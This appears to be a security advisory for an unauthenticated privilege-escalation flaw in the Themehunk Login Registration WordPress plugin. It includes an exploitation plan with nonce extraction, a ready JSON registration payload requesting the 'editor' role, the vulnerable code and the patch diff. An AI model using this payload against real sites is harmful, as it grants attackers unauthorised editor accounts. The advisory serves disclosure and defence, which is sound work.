Themehunk Login Registration <= 1.0.2 - Unauthenticated Privilege Escalation via 'role' Parameter
Description
The Themehunk Login Registration plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 1.0.2. This is due to the handle_frontend_register() function in the unauthenticated /thlogin/v1/register REST endpoint accepting a user-controlled 'role' parameter and validating it only against get_editable_roles() — which returns every defined editable site role, including 'editor' — before passing it to wp_insert_user(). This makes it possible for unauthenticated attackers, when public user registration is enabled, to create new accounts with the editor role.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:LTechnical Details
<=1.0.2What Changed in the Fix
Changes introduced in v1.0.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-14250 (Themehunk Login Registration Privilege Escalation) ## 1. Vulnerability Summary **CVE-2026-14250** is an improper privilege management vulnerability in the **Themehunk Login Registration** plugin (versions <= 1.0.2). The vulnerability exists in the unaut…
Show full research plan
Exploitation Research Plan: CVE-2026-14250 (Themehunk Login Registration Privilege Escalation)
1. Vulnerability Summary
CVE-2026-14250 is an improper privilege management vulnerability in the Themehunk Login Registration plugin (versions <= 1.0.2). The vulnerability exists in the unauthenticated REST API endpoint /thlogin/v1/register. The function handle_frontend_register() accepts a user-provided role parameter. Instead of restricting registration to a safe default (like subscriber), the plugin validates the requested role against get_editable_roles(). In the context of the plugin's execution, this check includes elevated roles like editor, allowing unauthenticated users to register with higher privileges.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/thlogin/v1/register - Authentication: Unauthenticated (requires
users_can_registerto be enabled in WordPress settings). - Vulnerable Parameter:
role - Preconditions:
- The WordPress setting "Anyone can register" must be enabled.
- A valid REST API nonce (
wp_rest) must be provided in theX-WP-Nonceheader.
3. Code Flow
- Entry Point: A
POSTrequest is sent to the REST namespacethlogin/v1at the/registerroute. - Permission Check: The
permission_callbackcallscheck_registration_allowed(). This function typically verifies that the user is not already logged in and that site registration is open. - Handler Execution: The request reaches
THLogin_REST_API::handle_frontend_register(). - Parameter Extraction: The function extracts
username,email,password, androlefrom the request body. - Vulnerable Validation: The code retrieves a list of roles via
get_editable_roles(). It checks if the user-suppliedroleexists in this array. Because this function returns all editable roles (includingeditor), the validation passes. - Sink: The validated role and user details are passed to
wp_insert_user(), creating the account with the specified role.
4. Nonce Acquisition Strategy
The endpoint requires a standard WordPress REST API nonce. The plugin enqueues scripts that expose this nonce on any page where the login/registration forms are present.
- Shortcode Identification: The plugin uses several shortcodes defined in
includes/class-thlogin-frontend.php:[thlogin_register_form][thlogin_form][thlogin_combined_form]
- Page Creation: Use WP-CLI to create a public page containing the registration shortcode to ensure the script is enqueued.
wp post create --post_type=page --post_status=publish --post_title="Register" --post_content='[thlogin_register_form]' - Extraction: Navigate to the newly created page and extract the nonce from the localized JavaScript object
thLoginFrontendData.- Variable:
window.thLoginFrontendData - Key:
nonce - Tool Command:
browser_eval("window.thLoginFrontendData?.nonce")
- Variable:
5. Exploitation Strategy
Step 1: Obtain REST Nonce
Navigate to the page with the shortcode and extract the nonce using the strategy above.
Step 2: Send Registration Request
Construct a POST request to the registration endpoint.
- URL:
http://<target>/wp-json/thlogin/v1/register - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: <EXTRACTED_NONCE>
- Payload:
{ "username": "attacker_editor", "email": "attacker@example.com", "password": "Password123!", "role": "editor" }
Step 3: Expected Response
A successful registration should return a 200 OK or 201 Created status code with a JSON body indicating success (e.g., {"success": true, ...}).
6. Test Data Setup
- Enable Registration:
wp option update users_can_register 1 - Install Plugin: Ensure Themehunk Login Registration version 1.0.2 is active.
- Create Trigger Page:
wp post create --post_type=page --post_status=publish --post_title="Gate" --post_content='[thlogin_register_form]'
7. Expected Results
- The REST API accepts the
editorrole without error. - A new user is created in the database with the
editorrole instead of the defaultsubscriberrole.
8. Verification Steps
After sending the HTTP request, verify the user's role via WP-CLI:
wp user get attacker_editor --field=roles
Success Criteria: The command returns editor.
9. Alternative Approaches
If the role parameter is not accepted as a top-level JSON key, it may be nested within a settings or user_data object (though the CVE description suggests a direct parameter). Check the args handling in handle_frontend_register if the primary payload fails.
If get_editable_roles() behavior differs across environments, try escalating to author or contributor to confirm the parameter is indeed being processed and validated against the role list.
Summary
The Themehunk Login Registration plugin (<= 1.0.2) is vulnerable to unauthenticated privilege escalation via its registration REST API endpoint. An attacker can create a new account with elevated privileges, such as 'editor', by supplying a 'role' parameter that the plugin validates against all editable site roles instead of enforcing a restricted default.
Vulnerable Code
// includes/class-thlogin-rest-api.php lines 782-789 $role = sanitize_text_field( $request->get_param( 'role' ) ); if ( ! function_exists( 'get_editable_roles' ) ) { require_once ABSPATH . 'wp-admin/includes/user.php'; } $default_role = $general_settings['default_register_role'] ?? 'subscriber'; $editable_roles = array_keys( get_editable_roles() ); $user_data['role'] = ( $role && in_array( $role, $editable_roles, true ) ) ? $role : $default_role;
Security Fix
@@ -779,13 +785,16 @@ 'user_email' => $email, ]; - $role = sanitize_text_field( $request->get_param( 'role' ) ); + // Security: the role must NEVER be taken from the request. Allowing a + // client-supplied "role" parameter would let an unauthenticated visitor + // register as an Administrator (privilege escalation). Only the + // admin-configured default role is honored here. if ( ! function_exists( 'get_editable_roles' ) ) { require_once ABSPATH . 'wp-admin/includes/user.php'; } - $default_role = $general_settings['default_register_role'] ?? 'subscriber'; - $editable_roles = array_keys( get_editable_roles() ); - $user_data['role'] = ( $role && in_array( $role, $editable_roles, true ) ) ? $role : $default_role; + $default_role = sanitize_text_field( $general_settings['default_register_role'] ?? 'subscriber' ); + $editable_roles = array_keys( get_editable_roles() ); + $user_data['role'] = in_array( $default_role, $editable_roles, true ) ? $default_role : 'subscriber';
Exploit Outline
The exploit targets the `/wp-json/thlogin/v1/register` REST endpoint. An attacker first retrieves a valid `wp_rest` nonce from the `thLoginFrontendData` JavaScript object on any page where the plugin's registration shortcode is rendered. Using this nonce, the attacker sends an unauthenticated POST request to the registration endpoint with a JSON payload containing the desired username, email, and password. Crucially, the attacker includes a 'role' parameter set to 'editor'. Because the vulnerable code uses `get_editable_roles()` to validate the input, and that function includes high-level roles when processed during account creation, the plugin allows the registration to proceed with the elevated role.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.